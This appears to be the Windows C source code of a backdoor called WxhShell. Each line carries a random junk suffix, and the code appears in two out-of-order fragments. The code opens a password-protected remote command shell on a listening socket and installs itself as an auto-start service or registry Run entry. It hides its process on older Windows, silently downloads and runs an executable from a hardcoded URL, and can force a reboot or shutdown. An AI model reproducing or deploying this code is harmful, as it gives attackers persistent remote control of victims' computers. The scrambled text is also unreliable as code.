    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !SK`!/7c?  
    else { X2V+cre  
    closesocket(wsh); ;y(;7n_ a  
    ExitThread(0); 9JdJn>  
    }  ;Ci:d*  
    break; 76D$Nm  
    } L"jA#ULg  
  // 获取shell qIJc\,'  
  case 's': { G y[5'J`  
    CmdShell(wsh); _|\X8o_  
    closesocket(wsh); $R'?OK(`  
    ExitThread(0); -1 dD~S$  
    break; >T;!Z5L1  
  } $T K*w8@:  
  // 退出 z6w'XA1_+t  
  case 'x': { bhD-;Y!6;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !Q"L)%)'A  
    CloseIt(wsh); -Y524   
    break; }aOqoi7w  
    } \~8W0q.4M  
  // 离开 8(Az/@=n  
  case 'q': { ~ g!!#ad  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p l^;'|=M  
    closesocket(wsh); ,6]ID1o:y  
    WSACleanup(); YH58p&up  
    exit(1); %fF,Fnf2  
    break; fuj9x;8X0  
        } L-- t(G  
  } r]Hrz'C`  
  } , LwinjHA*  
6],?Y+_;)L  
  // 提示信息 4P#jMox  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >8/Otg+h  
} M.Q HE2  
  } h 8$.mQr  
8`L]<Dm  
  return; %1TKgNf  
} 3m& r?xZs  
Ar\fA)UQ`  
// shell模块句柄 8Ze> hEG  
int CmdShell(SOCKET sock) c(1tOQk.  
{ 7KiraKb|  
STARTUPINFO si; N/F_,>E  
ZeroMemory(&si,sizeof(si)); @{b5x>KX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v9H t~\>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  B=*0  
PROCESS_INFORMATION ProcessInfo; IiniaVuQ  
char cmdline[]="cmd"; KAZ<w~55c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :uAL(3pQ  
  return 0; (^W}uDPCB  
} cS Lj\'`b  
q5r7 KYH{  
// 自身启动模式 2W0nA t  
int StartFromService(void) hbYstK;]Z  
{ Mo@{1K/9  
typedef struct `.;U)}Tn  
{ KK 7}q<&i  
  DWORD ExitStatus; =p@2[Uo  
  DWORD PebBaseAddress; n`^jNXE  
  DWORD AffinityMask; ,JI]Eij^  
  DWORD BasePriority; #8XmOJ"W3k  
  ULONG UniqueProcessId; 9wCgJ$te  
  ULONG InheritedFromUniqueProcessId; (P? |Bk [  
}   PROCESS_BASIC_INFORMATION; \X\< +KU  
a)W|gx6Y  
PROCNTQSIP NtQueryInformationProcess; Y 22Ai  
~hq\XQX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _f 2rz+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jy0aKSn8  
mKtMI!FR  
  HANDLE             hProcess; U;3t{~Ym  
  PROCESS_BASIC_INFORMATION pbi; h];H]15&  
9Pg6,[*u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;F1y!h67<  
  if(NULL == hInst ) return 0; xpp nBnu$7  
+8ib928E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $G <r2lPy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [<i3l'V/[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5 `TMqrk  
M>=@Z*u/+  
  if (!NtQueryInformationProcess) return 0; ZzK^ bNx)0  
:kcqf,7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g:RS7od=,  
  if(!hProcess) return 0; 6v{&,q  
fahQ^#&d`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rZ,3:x-:  
Mm,\e6#*  
  CloseHandle(hProcess); 3US`6Y"  
YCP D+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #<Y3*^~5d  
if(hProcess==NULL) return 0; CSjd&G *ZB  
3_G0eIE"u  
HMODULE hMod; i<m) s$u  
char procName[255]; 5Kd"W,  
unsigned long cbNeeded; t0cS.hi  
sh,4n{+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'r=2f6G>cP  
W8`6O2  
  CloseHandle(hProcess); hwk] ;6[  
M%54FsV  
if(strstr(procName,"services")) return 1; // 以服务启动 W`LG.`JW  
[pms>TQ2  
  return 0; // 注册表启动 s8A"x`5(  
} ^%%Rf  
"&XhMw4  
// 主模块 Gfx !.[Y  
int StartWxhshell(LPSTR lpCmdLine) bkR~>F]FAu  
{ 0-OKbw5%=b  
  SOCKET wsl; CC@U'9]bH  
BOOL val=TRUE; <gX({FA  
  int port=0; A/9<} m  
  struct sockaddr_in door; JkR%o #>5  
noaR3)  
  if(wscfg.ws_autoins) Install(); MYV3</Xj*  
1 39T*0C  
port=atoi(lpCmdLine); {pi_yr3  
p".wqg*W  
if(port<=0) port=wscfg.ws_port; q%k&O9C2]  
<x$nw'H9  
  WSADATA data; kqZRg>1A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h('5x,G%  
!m=Js"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GYy8kp84  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3,Z;J5VL4!  
  door.sin_family = AF_INET; ,c&t#mu*0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K_t >T)K  
  door.sin_port = htons(port); :xmj42w>^  
oGZuYpa9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { > mCH!ey  
closesocket(wsl); '%_K"rb  
return 1; 6;~V@t  
} B.?F^m@zS  
vp&.  
  if(listen(wsl,2) == INVALID_SOCKET) { 5KbPpKpd  
closesocket(wsl); 9pi{)PDJ  
return 1; Q7`)&^ Hx  
} @) MG&X  
  Wxhshell(wsl); k 5% )  
  WSACleanup(); S_*Gv O  
rpEIDhHv  
return 0; 2T%sHp~qt  
[ZG>FJDl8  
}  3bd`q $  
w&}<b%l  
// 以NT服务方式启动 vx6lud0k}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g~|vmVBua  
{ ~f[;(?39xZ  
DWORD   status = 0; DdISJWc'`5  
  DWORD   specificError = 0xfffffff; TqS s*as5  
5s%e9x|kP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cJ?,\@uuP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FW2x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ( !m6>m2  
  serviceStatus.dwWin32ExitCode     = 0; <  j  
  serviceStatus.dwServiceSpecificExitCode = 0; g<DXJ7o  
  serviceStatus.dwCheckPoint       = 0; _H}hK kG+  
  serviceStatus.dwWaitHint       = 0; ":sp0(`h  
~c+=$SL-=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `o9:6X?RA  
  if (hServiceStatusHandle==0) return; uDcs2^2l  
D'moy*E  
status = GetLastError(); rkh%[o 9"/  
  if (status!=NO_ERROR) .`u8(S+  
{ Bk~lM'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %H_-`A`  
    serviceStatus.dwCheckPoint       = 0; 55`p~:&VQ  
    serviceStatus.dwWaitHint       = 0; c9@3=6S/  
    serviceStatus.dwWin32ExitCode     = status; }"RVUYU  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4a!%eBhX"K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SH"<f_  
    return; um<$L  
  } r.u\qPT&  
2u0B=0x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "`S?q G  
  serviceStatus.dwCheckPoint       = 0; toj5b;+4F  
  serviceStatus.dwWaitHint       = 0; vG)B}`M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 04-@c  
} jpXbFWgN  
9!r0uU"  
// 处理NT服务事件,比如:启动、停止 m'G=WO*%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mJ[_q >  
{ @az<D7j2  
switch(fdwControl) $6ucz'  
{ EHl~y=9  
case SERVICE_CONTROL_STOP: 0.PG]K6  
  serviceStatus.dwWin32ExitCode = 0; UH7?JF-D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %y_pF?2@q  
  serviceStatus.dwCheckPoint   = 0; k ^KpQ&n  
  serviceStatus.dwWaitHint     = 0; j)nE!GKD(  
  { Mj2Dat`p9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gQ{<2u  
  } '%+LQ"Bp  
  return; aWvC-vZk  
case SERVICE_CONTROL_PAUSE: zLxuxf~4@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [P6A $HC<  
  break; BTO l`U  
case SERVICE_CONTROL_CONTINUE: lR F5/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cN2Pl%7  
  break; *Br }U  
case SERVICE_CONTROL_INTERROGATE: { /8s`m  
  break; 'm<L}d  
}; VD!PF'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EronNtu8i  
} X=Y(,ZR(&  
o8A8fHl  
// 标准应用程序主函数 wvxqgXnB\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KB~`3Wj|Z  
{ B 'O1dRj&6  
WU/5i 8  
// 获取操作系统版本 hp7ni1V  
OsIsNt=GetOsVer(); wpNb/U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p Zxx  
q+;lxR5D  
  // 从命令行安装 cF iTanu  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3fE0cVG*  
XCgC^c'  
  // 下载执行文件 JHg;2xm"<K  
if(wscfg.ws_downexe) { 8A*tpMV?J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i$:yq.DW  
  WinExec(wscfg.ws_filenam,SW_HIDE); fI.X5c>WK  
} P;X0L{u0H  
6%o@!|=I  
if(!OsIsNt) { uzp\<\d-t  
// 如果时win9x,隐藏进程并且设置为注册表启动 g<w1d{Td  
HideProc(); ={p<|8`"  
StartWxhshell(lpCmdLine); bx7hQzoX=b  
} 5yW}#W>  
else l r~>!O  
  if(StartFromService()) 8@6*d.+e  
  // 以服务方式启动 u2':~h?l  
  StartServiceCtrlDispatcher(DispatchTable); c*(=Glzn  
else V6Of(;r  
  // 普通方式启动 b ts*qx&)  
  StartWxhshell(lpCmdLine); PKGqu,J,  
)1YGWr;ykS  
return 0; ;s4e8![o3  
} a@ ? Bv  
4VA]S  
?H{?jJj$H  
ds2xl7jg  
=========================================== :efDPNm5  
Tjj27+y*\  
qr*e9Uk^  
HuxvIg  
'I[xZu/8yg  
^R+CkF4l l  
" !_dW  `  
Vrp]YR L`  
#include <stdio.h> D [v225  
#include <string.h> mndEB!b  
#include <windows.h> ,yfJjV*I  
#include <winsock2.h> xKT;1(Mk  
#include <winsvc.h> :X1Y  
#include <urlmon.h> N>@.(f&w  
vMJC  
#pragma comment (lib, "Ws2_32.lib") $ M|vIw{#  
#pragma comment (lib, "urlmon.lib") E*v+@rv  
[2 Rz8e^  
#define MAX_USER   100 // 最大客户端连接数 "/hLZl  
#define BUF_SOCK   200 // sock buffer MGo`j:0  
#define KEY_BUFF   255 // 输入 buffer 0 zjGL7  
R^K:hKQ  
#define REBOOT     0   // 重启 UyMlk  
#define SHUTDOWN   1   // 关机 '?$< k@mJW  
zHW&i~  
#define DEF_PORT   5000 // 监听端口 wA87|YK8*  
K=P LOC5  
#define REG_LEN     16   // 注册表键长度 Ml_!)b  
#define SVC_LEN     80   // NT服务名长度 "x3!F&  
Wl,I%<&j}  
// 从dll定义API g(F2IpUm/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1-G-p:|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uBaGOW|Pl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); grDz7\i:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #hEU)G' $+  
En8L1$_  
// wxhshell配置信息 JgldC[|7  
struct WSCFG { +J !1z  
  int ws_port;         // 监听端口 D6P/39}W  
  char ws_passstr[REG_LEN]; // 口令 Z~"8C Kz  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7P52r  
  char ws_regname[REG_LEN]; // 注册表键名 'f.5hX(Y  
  char ws_svcname[REG_LEN]; // 服务名 H_%ae' W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fa/p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JNA_*3 '  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;|CG9|p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <@v|~ AO4~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b]WvKdq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r+MqjdXG  
:O*62olC5  
}; uD`Z\@Z  
hnv0Loe.IW  
// default Wxhshell configuration DH4|lb}  
struct WSCFG wscfg={DEF_PORT, FJB /tg  
    "xuhuanlingzhe", ve*6WDK,H  
    1, )U2%kmt  
    "Wxhshell", Z1DF)  
    "Wxhshell", &Qv%~dvW  
            "WxhShell Service", sDy~<$l?  
    "Wrsky Windows CmdShell Service", cdfnM%`>\  
    "Please Input Your Password: ", MIc(B_q  
  1, zOL*XZ0c  
  "http://www.wrsky.com/wxhshell.exe", 8w3Wy<}y  
  "Wxhshell.exe" T(*A0  
    }; >DR/ lBtL  
@N\ Ht'f  
// 消息定义模块 mgBxcmv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0MOn>76$N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vLcOZ^iK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `6G:<wX  
char *msg_ws_ext="\n\rExit."; u$1^=  
char *msg_ws_end="\n\rQuit."; 5S #6{Y =  
char *msg_ws_boot="\n\rReboot..."; 7"k\i=  
char *msg_ws_poff="\n\rShutdown..."; I#CS;Yh95  
char *msg_ws_down="\n\rSave to "; N*Xl0m(Q  
A)f/ww)Q  
char *msg_ws_err="\n\rErr!"; 9/5 EyV  
char *msg_ws_ok="\n\rOK!"; tkhEjTZ  
-k3WY&9,  
char ExeFile[MAX_PATH]; ]8XIw`:f  
int nUser = 0; zS}!87r)  
HANDLE handles[MAX_USER]; aDX4}`u  
int OsIsNt; Qlhm:[  
Eqt>_n8  
SERVICE_STATUS       serviceStatus; 2!Pwg0%2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2{)<Df@  
V5d|Lpm  
// 函数声明 `b[@GGv  
int Install(void); :,MI,SwnS  
int Uninstall(void); ~*G}+Ur$2  
int DownloadFile(char *sURL, SOCKET wsh); vg[zRWh8  
int Boot(int flag); O u{|o0  
void HideProc(void); j(Tk6S  
int GetOsVer(void); ?h ym~,  
int Wxhshell(SOCKET wsl); +D#.u^  
void TalkWithClient(void *cs); i&,1  
int CmdShell(SOCKET sock); >  ,P,{"  
int StartFromService(void); SQf.R%cg$  
int StartWxhshell(LPSTR lpCmdLine); a~`,zQ -@  
%A;s 3 ]V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 259:@bi!y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ltmD=-]G_  
q62U+o9G  
// 数据结构和表定义 9B1bq#  
SERVICE_TABLE_ENTRY DispatchTable[] = [AAIBb +U  
{ !Ka~X!+\  
{wscfg.ws_svcname, NTServiceMain}, #0/^v*  
{NULL, NULL} .+CMm5T  
}; >tV:QP]Y  
VI^~I;M^  
// 自我安装 -<q@0IYyi  
int Install(void) $ 4A!Y  
{ {Gr"oO`&"  
  char svExeFile[MAX_PATH]; LwEc*79  
  HKEY key; ]4&B*]j  
  strcpy(svExeFile,ExeFile); Wi!$bL`l  
(:J U  
// 如果是win9x系统,修改注册表设为自启动 G)y'exk  
if(!OsIsNt) { (I(k$g[>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y@V6/D} 1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uBBW2  
  RegCloseKey(key); \AB*C_Ri  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;Q%3WD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I6F $@  
  RegCloseKey(key); e\i}@]  
  return 0; (`K ~p Z  
    } ;JR_z'<  
  } bn"z&g   
} ~1.~4~um  
else { IHf#P5y_  
<x1H:8A  
// 如果是NT以上系统,安装为系统服务 $*dY f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !EO 2  
if (schSCManager!=0) m_>~e}2'A  
{ T ^z M m  
  SC_HANDLE schService = CreateService O6r.q&U  
  ( k.w}}78N2N  
  schSCManager, m?D k(DJ  
  wscfg.ws_svcname, Xw9"wAj  
  wscfg.ws_svcdisp, 97SG;,6  
  SERVICE_ALL_ACCESS, !fG`xZ~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V@1K  
  SERVICE_AUTO_START, >oc&hT  
  SERVICE_ERROR_NORMAL, WevXQ-eKm  
  svExeFile, %Z6\W; (n  
  NULL, Zl`sY5{1  
  NULL, jT q@@y  
  NULL, Q##L|*Qy  
  NULL, STQ~mFs"  
  NULL {_*$X  
  ); ffE>%M*  
  if (schService!=0) JQWW's}  
  { v D4<G{  
  CloseServiceHandle(schService); d9uT*5f  
  CloseServiceHandle(schSCManager); ,V:RE y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TGQDt|+Z  
  strcat(svExeFile,wscfg.ws_svcname); ;Ajy54}7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N&+DhKw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mnWbV\VY  
  RegCloseKey(key); W/| C  
  return 0; h\$juIQa  
    } 9]TvL h3  
  } "t)|N dZm  
  CloseServiceHandle(schSCManager); ;X2(G  
} J*CfG;Y:  
} Oe%jV,S|V  
I`}<1~ue  
return 1; Qz?r4kR  
} 4'-GcH  
HxH=~B1"P  
// 自我卸载 s_N]$3'[E  
int Uninstall(void) h^6Yjy  
{ 2VNfnk  
  HKEY key; 66~]7w  
Dhe ]f#d  
if(!OsIsNt) { -,#LTW<.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z;En Ay{9  
  RegDeleteValue(key,wscfg.ws_regname); l<mEGKB#  
  RegCloseKey(key); k@= LR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P(BV J_n  
  RegDeleteValue(key,wscfg.ws_regname); Z<0+<tt  
  RegCloseKey(key); M.R] hI  
  return 0; VpMPTEZ*L  
  } b/Z 0{38  
} #ZRplA~C7]  
} ?*8HZ1m#  
else { s%R'c_cGZ  
~h*p A8^L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xiPP&$mg  
if (schSCManager!=0) `L=$ ,7`  
{ R7 *ek_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Li;(~_62a]  
  if (schService!=0) i\?P>:)  
  { \aO.LwYm;:  
  if(DeleteService(schService)!=0) { a,N?GxK~  
  CloseServiceHandle(schService); nu#_,x<LS  
  CloseServiceHandle(schSCManager); p@7[w@B\c  
  return 0; UPkD^D,  
  } D;0xROW8{  
  CloseServiceHandle(schService); :{v:sK  
  } rpT{0 >5  
  CloseServiceHandle(schSCManager); h8!;RN[  
} KGm"-W  
} W<D(M.61A  
W}5H'D  
return 1; _(8HK  
} h7S&tW GU  
wB;'+d&  
// 从指定url下载文件 zz4A,XrD  
int DownloadFile(char *sURL, SOCKET wsh) @pD']=d}t  
{ Bu$GCSrX  
  HRESULT hr; :K6(`J3Y"^  
char seps[]= "/"; <IBzh_  
char *token; 9GZKT{*  
char *file; [af<FQ{  
char myURL[MAX_PATH]; emV@kN.  
char myFILE[MAX_PATH]; NX(.Lw}  
'?~k`zK  
strcpy(myURL,sURL); ?DC3BA\)  
  token=strtok(myURL,seps); N|ut^X+|\  
  while(token!=NULL) %8V/QimHU  
  { Pl }dA  
    file=token; 7^~pOFdH  
  token=strtok(NULL,seps); _;B N;].  
  } 4JHFn [%  
oIM]  
GetCurrentDirectory(MAX_PATH,myFILE); ya'@AJS  
strcat(myFILE, "\\"); hsQrHs'k  
strcat(myFILE, file); ?eb2T`\0Q  
  send(wsh,myFILE,strlen(myFILE),0); a]465FY  
send(wsh,"...",3,0); [N/[7Q/y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u= K?K  
  if(hr==S_OK) snBC +`-  
return 0; <'4DMZ-G  
else M,Px.@tw.  
return 1; *s6MF{Ds  
pAV}hB  
} T@]vjXd![  
iD|"}}01  
// 系统电源模块 PaEsz$mgy  
int Boot(int flag) t _Q/v  
{ {=,?]Z+  
  HANDLE hToken; rY>{L6d  
  TOKEN_PRIVILEGES tkp; 15r<n  
` m`Sl[6  
  if(OsIsNt) { Iy](?b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5}R /C{fs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &:-`3J-  
    tkp.PrivilegeCount = 1; $s hlNW\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zy#E qv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gT R:9E:B  
if(flag==REBOOT) { id.o )=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L$`!~z 1  
  return 0; A]{8 =  
} &Sc}3UI/F  
else { MWCP/~>a2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C<6IiF[>%  
  return 0; 3Nh;^  
} 0rT-8iJp4P  
  } flLC\   
  else { E YUr.#:  
if(flag==REBOOT) { #TUsi,jG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~ S R:,R  
  return 0; XQk9 U  
} H+; _fd  
else { sf?D4UdIH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;1cX|N=  
  return 0; `ge{KB;*n#  
} r! 5C3  
} CD^_>sya  
_SC>EP8:Z  
return 1; Ah &D5,3  
} QH4nb h4  
)E^4\3 ^:  
// win9x进程隐藏模块 "0g1'az}  
void HideProc(void) &K`[SX=  
{ $xS `i-|  
Vd|5JA}<"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "wxs  
  if ( hKernel != NULL ) q]5"V>D \  
  { FI~)ZhE)]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QHsS|\u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jjz<V(Sk  
    FreeLibrary(hKernel); "31GC7  
  } mYb8   
jo<[|ZD  
return; 9\Mesf1$o  
} FQ?H%UcW  
P7 E}^y`e  
// 获取操作系统版本 [(`T*c.#.X  
int GetOsVer(void) d?&?$qf[  
{ q!<`ci,uS  
  OSVERSIONINFO winfo; ^?toTU   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _q=$L eO5  
  GetVersionEx(&winfo); c?eV8h1G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \GbT^!dj  
  return 1; m{x!uq  
  else uwWfL32  
  return 0; mb?DnP,z  
} i2$U##-ro]  
d Z"bc]z{  
// 客户端句柄模块 dp2".  
int Wxhshell(SOCKET wsl) Tc\^=e^N?  
{ S_6`.@B}  
  SOCKET wsh; 7esG$sVj(  
  struct sockaddr_in client; $K,rVTU  
  DWORD myID; 2X)E3V/*  
Z[AJat@H  
  while(nUser<MAX_USER) E] t:_v  
{ J(M0t~RZ  
  int nSize=sizeof(client); rg_-gZl8&z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f8N  
  if(wsh==INVALID_SOCKET) return 1; xvjHGgWSxc  
QhZ!A?':U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /43DR;4  
if(handles[nUser]==0) "a`0s_F,^  
  closesocket(wsh); JO7IzD\  
else BaiC;&(   
  nUser++; YT, 1E>rd  
  } `U!eh1*b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ED"5y  
Y#{KGVT<  
  return 0; b3EW"^Ar  
} =t&B8+6  
VuJth  
// 关闭 socket zG@9-s* L  
void CloseIt(SOCKET wsh) Ps<)?q6(  
{ {)ZbOq2  
closesocket(wsh); Zu\#;O   
nUser--; V>A@Sw  
ExitThread(0); I LF"m;  
} A>OL5TCl  
xJ>hN@5}i  
// 客户端请求句柄 c 2?(.UV  
void TalkWithClient(void *cs) 52l|  
{ xYM/{[  
^lRXc.c z  
  SOCKET wsh=(SOCKET)cs; x}N+vK   
  char pwd[SVC_LEN]; %r6~5_A  
  char cmd[KEY_BUFF]; ]v94U b   
char chr[1]; ID'@}69.S  
int i,j; !&E>8h  
cKF02?)TX  
  while (nUser < MAX_USER) { DWk'6;e4j  
{E6b/G?Q  
if(wscfg.ws_passstr) { 9eGM6qW\_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I^M3>}p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); } %S1OQC  
  //ZeroMemory(pwd,KEY_BUFF); A[ /0on5r  
      i=0; '4dnC2a]  
  while(i<SVC_LEN) { 5 ;dg#hO  
gA2\c5F<  
  // 设置超时 XV%L6x  
  fd_set FdRead; [:g6gAuh,  
  struct timeval TimeOut; bMkn(_H)\  
  FD_ZERO(&FdRead); <LZvG IMl  
  FD_SET(wsh,&FdRead); 3 {on$\  
  TimeOut.tv_sec=8; Q`AJR$L  
  TimeOut.tv_usec=0; ,O 3"r;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #hR}7K+@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  9<[RXY  
O%(:8nIgZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \RMYaI^+;  
  pwd=chr[0]; X"iy.@7  
  if(chr[0]==0xd || chr[0]==0xa) { X-oou'4<  
  pwd=0; 3{d1Jk/S  
  break; RXl52#:  
  } X@af[J[cQ  
  i++; b%,5B  
    } A{9Hm:)  
\^N9Q9{7]  
  // 如果是非法用户,关闭 socket j*W]^uT,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5>}L3r>a;  
} {U^mL6=&v  
<diI*H<G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1#]tCi`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y7d)[d*Mz  
te" 8ZmJ  
while(1) { a4g=cs<9}  
vWe)cJ  
  ZeroMemory(cmd,KEY_BUFF); 8EbYk2j  
`j4ukOnG  
      // 自动支持客户端 telnet标准   C&<f YCwG  
  j=0; OX|/yw8  
  while(j<KEY_BUFF) { Eto0>YyZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4vBZb^W;9  
  cmd[j]=chr[0]; uZmfvMr3  
  if(chr[0]==0xa || chr[0]==0xd) { w{2V7*+l  
  cmd[j]=0; e *;"$7o9  
  break; mtmBL 2?  
  } ':o.vQdJ  
  j++; j]Rl1~+M  
    } KMoRMCT  
tEiN(KA!5  
  // 下载文件 ZW+{<XTof4  
  if(strstr(cmd,"http://")) { t4h05i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M9bb,`X>Q  
  if(DownloadFile(cmd,wsh)) l4R:_Z<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6],5X^*Y  
  else v8 6ls[lzu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <0R?#^XBZB  
  } ;\Wg>sq  
  else { ]7dm`XV  
{r'#(\  
